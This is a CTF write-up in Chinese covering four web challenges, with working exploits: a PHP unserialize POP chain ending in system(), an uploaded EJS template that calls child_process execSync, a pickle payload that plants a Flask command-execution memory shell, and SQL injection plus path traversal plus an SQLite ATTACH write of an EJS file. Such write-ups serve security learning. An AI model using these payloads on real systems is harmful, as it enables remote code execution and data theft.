ez_unserialize

index.php:

<?php
error_reporting(0);
highlight_file(__FILE__);

class A {
    public $first;
    public $step;
    public $next;

    public function start() {
        echo $this->next;
    }
}

class E {
    private $you;
    public $found;
    private $secret = "admin123";

    public function __get($name){
        if($name === "secret") {
            echo "<br>".$name." maybe is here!</br>";
            $this->found->check();
        }
    }
}

class F {
    public $fifth;
    public $step;
    public $finalstep;  // u

    public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔细想想!";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }
}

class H {
    public $who;
    public $are;
    public $you;

    public function __construct() {
        $this->you = "nobody";
    }

    public function __destruct() {
        $this->who->start();
    }
}

class N {
    public $congratulation;
    public $yougotit;

    public function __call(string $func_name, array $args) {
        return call_user_func($func_name,$args[0]);
    }
}

class U {
    public $almost;
    public $there;
    public $cmd;

    public function __construct() {
        $this->there = new N();
        $this->cmd = $_POST['cmd']; 
    }

    public function __invoke() {
        return $this->there->system($this->cmd);
    }
}

class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;

    public function __toString() {
        $abc = $this->dowhat;
        $this->go->$abc;
        return "<br>Win!!!</br>";
    }
}

unserialize($_POST['payload']);

入口点位于 H.__destruct ,出口点位于 U.__invoke ,可以从后往前构造链子

当尝试以调用函数的方式调用一个对象时触发 __invoke 方法,所以 F.check -> U.__invoke,利用php初始化类不区分大小写的特性绕过 preg_match("/U/",$this->finalstep) ,将finalstep置为小写u

绕过这一个点后,后续很自然的能找到 E.__get -> F.check, 访问不可访问或未定义的属性值时会触发 __get 方法,所以 V.__toString -> E.__get ,而当反序列化后的对象被输出时会触发 __toSring 方法,因此 A.start -> V.__toString,最后 H.__destruct -> A.start 即可完成整条链的构造:

H.__destruct -> A.start -> V.__toString -> E.__get -> F.check -> U.__invoke

完整exp:

<?php
class A {
    public $first;
    public $step;
    public $next;

    public function start() {
        echo $this->next;
    }
}

class E {
    private $you;
    public $found;
    private $secret = "admin123";

    public function __get($name){
        if($name === "secret") {
            echo "<br>".$name." maybe is here!</br>";
            $this->found->check();
        }
    }
}

class F {
    public $fifth;
    public $step;
    public $finalstep;  // u

    public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔细想想!";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }
}

class H {
    public $who;
    public $are;
    public $you;

    public function __construct() {
        $this->you = "nobody";
    }

    public function __destruct() {
        $this->who->start();
    }
}

class N {
    public $congratulation;
    public $yougotit;

    public function __call(string $func_name, array $args) {
        return call_user_func($func_name,$args[0]);
    }
}

class U {
    public $almost;
    public $there;
    public $cmd;

    public function __construct() {
        $this->there = new N();
        $this->cmd = $_POST['cmd']; 
    }

    public function __invoke() {
        return $this->there->system($this->cmd);
    }
}

class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;

    public function __toString() {
        $abc = $this->dowhat;
        $this->go->$abc;
        return "<br>Win!!!</br>";
    }
}

$f = new F();
$f->finalstep = 'u';
$e = new E();
$e->found = $f;
$v = new V();
$v->dowhat = 'secret';
$v->go = $e;
$a = new A();
$a->next = $v;
$h = new H();
$h->who = $a;
echo urlencode(serialize($h));

alt

staticNodeService

App.js:

const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');

const app = express();
const PORT = parseInt(process.env.PORT) || 3000;

app.set('view engine', 'ejs');
app.use(express.json({
    limit: '1mb'
}));

const STATIC_DIR = path.join(__dirname, '/');


// serve index for better viewing
function serveIndex(req, res) {
    var templ = req.query.templ || 'index';
    var lsPath = path.join(__dirname, req.path);
    try {
        res.render(templ, {
            filenames: fs.readdirSync(lsPath),
            path: req.path
        });
    } catch (e) {
        console.log(e);
        res.status(500).send('Error rendering page');
    }
}


// static serve for simply view/download
app.use(express.static(STATIC_DIR));


// Security middleware
app.use((req, res, next) => {
    if (typeof req.path !== 'string' || 
            (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
        ) res.status(500).send('Error parsing path');
    else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
    else next();
})


// logic middleware
app.use((req, res, next) => {
    if (req.path.endsWith('/')) serveIndex(req, res);
    else next();
})


// Upload operation handler
app.put('/*', (req, res) => {
    const filePath = path.join(STATIC_DIR, req.path);
    if (fs.existsSync(filePath)) {
        return res.status(500).send('File already exists');
    }

    fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
        if (err) {
            return res.status(500).send('Error writing file');
        }
        res.status(201).send('File created/updated');
    });
});


// Server start
app.listen(PORT, () => {
    console.log(`Static server is running on http://localhost:${PORT}`);
});

默认使用 index.ejs 作为模板进行渲染,STATIC_DIR 设置 /App 为根目录,对参数 templ 无任何限制,考虑上传ejs文件命令执行

上传文件 readflag.ejs/. 可以同时绕过 req.path.endsWith('/') 以及 else if (/js$|\.\./i.test(req.path)) ,文件内容进行base64编码:

<%- global.process.mainModule.require('child_process').execSync('/readflag') %>
PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPg==

alt

传参 ?templ=../readflag 来渲染 readflag.ejs执行/readflag获取flag:

alt

ezBlog

提示用访客账号登录,猜测 guest/guest 登录成功,利用Token验证身份,Token是pickle序列化数据,一开始尝试将其中is_admin的值从False改为True,即0x89改为0x88,发现能以管理员账户登录,后续打SSTI发现失败:

alt

考虑到题目环境使用Token来鉴权,可能是将Token直接反序列化了,打 before_request 内存马:

cbuiltins
eval
(S'app.before_request_funcs.setdefault(None,[]).append(lambda:__import__(\'os\').popen(request.args.get(\'cmd\')).read())'
tR.

Ezsingin

/login存在sql注入,获取Admin用户connect.sid:

POST /login HTTP/1.1
Host: 45.40.247.139:30096
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-None-Match: W/"30c-DHNVxa0VphnTYJIjy4EiUOx4CDM"
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

username=Admin")+--+q&password=1

/download存在文件读取:

GET /download/?filename=../app.js HTTP/1.1
Host: 45.40.247.139:30096
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://45.40.247.139:30096/
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3ArQORBzH5x3cMktwmh4bOVtqMfb4WblLh.G08Vr5WzTRGs3cu7MA5ssx%2Fkcg1HCxCOJ6ymIreM5nc
Connection: keep-alive

app.js:

const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');

const app = express();
const db = new sqlite3.Database('./db.sqlite');

/*
FLAG in /fla4444444aaaaaagg.txt
*/

app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(session({
  secret: 'welcometoycb2025',
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false }
}));

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');


const checkPermission = (req, res, next) => {
  if (req.path === '/login' || req.path === '/register') return next();
  if (!req.session.user) return res.redirect('/login');
  if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
  next();
};

app.use(checkPermission);

app.get('/', (req, res) => {
  fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
    if (err) {
      console.error('读取目录时发生错误:', err);
      return res.status(500).send('目录读取失败');
    }
    req.session.files = files;
    res.render('files', { files, user: req.session.user });
  });
});

app.get('/login', (req, res) => {
  res.render('login');
});

app.get('/register', (req, res) => {
  res.render('register');
});

app.get('/upload', (req, res) => {
    if (!req.session.user) return res.redirect('/login');
    res.render('upload', { user: req.session.user });
    //todoing
});

app.get('/logout', (req, res) => {
  req.session.destroy(err => {
    if (err) {
      console.error('退出时发生错误:', err);
      return res.status(500).send('退出失败');
    }
    res.redirect('/login');
  });
});

app.post('/login', async (req, res) => {
    const username = req.body.username;
    const password = req.body.password;
    const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
    db.get(sql,async (err, user) => {
        if (!user) {
            return res.status(401).send('账号密码出错!!');
        }
        req.session.user = { id: user.id, username: user.username, isAdmin: user.is_admin };
        res.redirect('/');
    });
});



app.post('/register', (req, res) => {
  const { username, password, confirmPassword } = req.body;
  
  if (password !== confirmPassword) {
    return res.status(400).send('两次输入的密码不一致');
  }
  
  db.exec(`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`, function(err) {
    if (err) {
      console.error('注册失败:', err);
      return res.status(500).send('注册失败,用户名可能已存在');
    }
    res.redirect('/login');
  });
});

app.get('/download', (req, res) => {
  if (!req.session.user) return res.redirect('/login');
  const filename = req.query.filename;
  if (filename.startsWith('/')||filename.startsWith('./')) {
    return res.status(400).send('WAF');
  }
  if (filename.includes('../../')||filename.includes('.././')||filename.includes('f')||filename.includes('//')) {
    return res.status(400).send('WAF');
  }
  if (!filename || path.isAbsolute(filename) ) {
    return res.status(400).send('无效文件名');
  }
  const filePath = path.join(__dirname, 'documents', filename);
  if (fs.existsSync(filePath)) {
    res.download(filePath);
  } else {
    res.status(404).send('文件不存在');
  }
});



const PORT = 80;
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

/register使用了 db.exec ,存在堆叠注入,同时观察到使用了ejs,并且/upload下不存在upload.ejs,尝试sqlite写入 upload.ejs:

test'); ATTACH DATABASE '/app/views/upload.ejs' AS temp; CREATE TABLE temp.pwn (data, TEXT); INSERT INTO temp.pwn (data) VALUES ('<%= include("/fla4444444aaaaaagg.txt") %>'); -- ('

访问/upload获取flag:

alt